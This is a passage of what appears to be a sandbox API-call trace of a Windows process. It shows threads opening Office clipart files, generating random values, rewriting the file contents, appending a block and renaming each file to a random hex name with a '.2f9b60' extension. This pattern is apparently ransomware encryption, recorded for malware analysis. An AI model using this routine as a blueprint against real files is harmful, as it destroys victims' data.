nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x2507f650, lpOverlapped=0x0 | out: lpBuffer=0x20244990*, lpNumberOfBytesRead=0x2507f650*=0xe20, lpOverlapped=0x0) returned 1 [0149.574] SetFilePointerEx (in: hFile=0x2158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.575] WriteFile (in: hFile=0x2158, lpBuffer=0x202485a0*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2507f654, lpOverlapped=0x0 | out: lpBuffer=0x202485a0*, lpNumberOfBytesWritten=0x2507f654*=0xe20, lpOverlapped=0x0) returned 1 [0161.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a55a0 [0161.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a55d0 [0161.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a55d0) returned 1 [0161.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202485a0) returned 1 [0161.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20244990) returned 1 [0161.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0161.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0161.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a55d0 [0161.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0161.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a2b0 [0161.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5600 [0161.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5600) returned 1 [0161.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5600 [0161.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5630 [0161.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5660 [0161.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5660) returned 1 [0161.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0161.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0161.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423abdf0 [0161.754] SetFilePointerEx (in: hFile=0x2158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.754] WriteFile (in: hFile=0x2158, lpBuffer=0x423abdf0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2507f770, lpOverlapped=0x0 | out: lpBuffer=0x423abdf0*, lpNumberOfBytesWritten=0x2507f770*=0x10a, lpOverlapped=0x0) returned 1 [0163.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3190 [0163.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3190) returned 1 [0163.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3190 [0163.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3160 [0163.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3160) returned 1 [0163.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.662] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="c5") returned 2 [0163.662] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="c1") returned 2 [0163.662] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="31") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="33") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="1c") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="ba") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="08") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="e7") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="91") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="10") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="ac") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="ed") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="95") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="bc") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="23") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="06") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="26") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="5d") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="89") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="47") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="55") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="7a") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="3d") returned 2 [0163.663] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="80") returned 2 [0163.663] RtlInitAnsiString (in: DestinationString=0x2507f7e8, SourceString="c5c131331cba08e79110aced95bc2306265d8947557a3d80" | out: DestinationString="c5c131331cba08e79110aced95bc2306265d8947557a3d80") [0163.663] RtlAnsiStringToUnicodeString (in: DestinationString=0x2507f7b8, SourceString="c5c131331cba08e79110aced95bc2306265d8947557a3d80", AllocateDestinationString=1 | out: DestinationString="c5c131331cba08e79110aced95bc2306265d8947557a3d80") returned 0x0 [0163.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857aa0 [0163.664] RtlFreeAnsiString (AnsiString="c") [0163.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3190) returned 1 [0163.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423abdf0) returned 1 [0163.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5600) returned 1 [0163.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5630) returned 1 [0163.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a55d0) returned 1 [0163.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a55a0) returned 1 [0163.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f31c0) returned 1 [0163.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3280) returned 1 [0163.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f32b0) returned 1 [0163.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb65b0 [0163.667] wcscat (in: _Dest=0x1cdb65b0, _Source="c5c131331cba" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c5c131331cba") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c5c131331cba" [0163.667] wcscat (in: _Dest=0x1cdb65b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c5c131331cba.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c5c131331cba.2f9b60" [0163.667] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c5c131331cba.2f9b60", NtPathName=0x2507f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c5c131331cba.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278470 Thread: id = 2336 os_tid = 0x1ce4 [0149.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x20 [0149.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF", dwFileAttributes=0x20) returned 1 [0149.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x215c [0149.581] GetFileSizeEx (in: hFile=0x215c, lpFileSize=0x23c4f9c0 | out: lpFileSize=0x23c4f9c0*=2140) returned 1 [0149.581] SetFilePointerEx (in: hFile=0x215c, liDistanceToMove=0x858, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.581] ReadFile (in: hFile=0x215c, lpBuffer=0x23c4f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23c4f988, lpOverlapped=0x0 | out: lpBuffer=0x23c4f940*, lpNumberOfBytesRead=0x23c4f988*=0x4, lpOverlapped=0x0) returned 1 [0149.583] SetFilePointerEx (in: hFile=0x215c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3250 [0149.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f32e0 [0149.584] NtQuerySystemTime (in: CurrentTime=0x23c4f880 | out: CurrentTime=0x23c4f880*=132462177547906000) returned 0x0 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x5be285c7 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x66502446 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x60f3a66b [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x6f8d5411 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x37c16805 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x194db779 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x33055a89 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x43e4e4b [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x2d6e6696 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x24a6f2b2 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x517eef5a [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x45132b64 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0xcb8a18c [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x339e7e7d [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x22c8098e [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x2c5f1bb6 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x52f2a426 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x4d4b23e1 [0149.584] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x28101682 [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x22eb82eb [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x3ffbd9ae [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x58542798 [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x49388b61 [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0xd4e1f34 [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x49d1380b [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x2b20c5c0 [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x271cacc8 [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x1858d472 [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x7219febd [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x6344ad6d [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0x47ac351d [0149.585] RtlRandomEx (in: Seed=0x23c4f870 | out: Seed=0x23c4f870) returned 0xfe1db49 [0149.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3310 [0149.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a230 [0149.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3340 [0149.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a230) returned 1 [0149.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f32e0) returned 1 [0149.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bdb0 [0149.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a230 [0149.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2024c1b0 [0149.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203fb690 [0149.597] ReadFile (in: hFile=0x215c, lpBuffer=0x2024c1b0, nNumberOfBytesToRead=0x85c, lpNumberOfBytesRead=0x23c4f870, lpOverlapped=0x0 | out: lpBuffer=0x2024c1b0*, lpNumberOfBytesRead=0x23c4f870*=0x85c, lpOverlapped=0x0) returned 1 [0149.597] SetFilePointerEx (in: hFile=0x215c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.597] WriteFile (in: hFile=0x215c, lpBuffer=0x203fb690*, nNumberOfBytesToWrite=0x85c, lpNumberOfBytesWritten=0x23c4f874, lpOverlapped=0x0 | out: lpBuffer=0x203fb690*, lpNumberOfBytesWritten=0x23c4f874*=0x85c, lpOverlapped=0x0) returned 1 [0161.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5660 [0161.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5690 [0161.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5690) returned 1 [0161.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fb690) returned 1 [0161.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2024c1b0) returned 1 [0161.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a230) returned 1 [0161.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bdb0) returned 1 [0161.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5690 [0161.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bdb0 [0161.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a230 [0161.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a56c0 [0161.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a56c0) returned 1 [0161.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a56c0 [0161.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a56f0 [0161.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5720 [0161.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5720) returned 1 [0161.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a230) returned 1 [0161.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bdb0) returned 1 [0161.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423abf10 [0161.761] SetFilePointerEx (in: hFile=0x215c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.761] WriteFile (in: hFile=0x215c, lpBuffer=0x423abf10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23c4f990, lpOverlapped=0x0 | out: lpBuffer=0x423abf10*, lpNumberOfBytesWritten=0x23c4f990*=0x10a, lpOverlapped=0x0) returned 1 [0163.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f32b0 [0163.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f32b0) returned 1 [0163.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f32b0 [0163.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3280 [0163.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3280) returned 1 [0163.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.672] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="48") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="3b") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="9c") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="e7") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="fa") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="88") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="f8") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="6a") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="d7") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="db") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="3e") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="e8") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="f5") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="03") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="90") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="29") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="5b") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="8b") returned 2 [0163.672] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="63") returned 2 [0163.673] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="de") returned 2 [0163.673] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="17") returned 2 [0163.673] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="82") returned 2 [0163.673] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="c9") returned 2 [0163.673] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="88") returned 2 [0163.673] RtlInitAnsiString (in: DestinationString=0x23c4fa08, SourceString="483b9ce7fa88f86ad7db3ee8f50390295b8b63de1782c988" | out: DestinationString="483b9ce7fa88f86ad7db3ee8f50390295b8b63de1782c988") [0163.673] RtlAnsiStringToUnicodeString (in: DestinationString=0x23c4f9d8, SourceString="483b9ce7fa88f86ad7db3ee8f50390295b8b63de1782c988", AllocateDestinationString=1 | out: DestinationString="483b9ce7fa88f86ad7db3ee8f50390295b8b63de1782c988") returned 0x0 [0163.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857b10 [0163.673] RtlFreeAnsiString (AnsiString="4") [0163.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f32b0) returned 1 [0163.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423abf10) returned 1 [0163.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a56c0) returned 1 [0163.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a56f0) returned 1 [0163.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5690) returned 1 [0163.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5660) returned 1 [0163.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3250) returned 1 [0163.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3310) returned 1 [0163.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3340) returned 1 [0163.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb6650 [0163.676] wcscat (in: _Dest=0x1cdb6650, _Source="483b9ce7fa88" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\483b9ce7fa88") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\483b9ce7fa88" [0163.676] wcscat (in: _Dest=0x1cdb6650, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\483b9ce7fa88.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\483b9ce7fa88.2f9b60" [0163.676] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\483b9ce7fa88.2f9b60", NtPathName=0x23c4f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\483b9ce7fa88.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202788f0 Thread: id = 2337 os_tid = 0x1ce8 [0149.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20 [0149.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF", dwFileAttributes=0x20) returned 1 [0149.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2160 [0149.601] GetFileSizeEx (in: hFile=0x2160, lpFileSize=0x2514f840 | out: lpFileSize=0x2514f840*=2780) returned 1 [0149.601] SetFilePointerEx (in: hFile=0x2160, liDistanceToMove=0xad8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.601] ReadFile (in: hFile=0x2160, lpBuffer=0x2514f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2514f808, lpOverlapped=0x0 | out: lpBuffer=0x2514f7c0*, lpNumberOfBytesRead=0x2514f808*=0x4, lpOverlapped=0x0) returned 1 [0149.603] SetFilePointerEx (in: hFile=0x2160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f32e0 [0149.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3370 [0149.604] NtQuerySystemTime (in: CurrentTime=0x2514f700 | out: CurrentTime=0x2514f700*=132462177548218000) returned 0x0 [0149.604] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x37aeb35 [0149.604] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x61527761 [0149.604] RtlRandomEx (in: Seed=0x2514f6f0 | out: 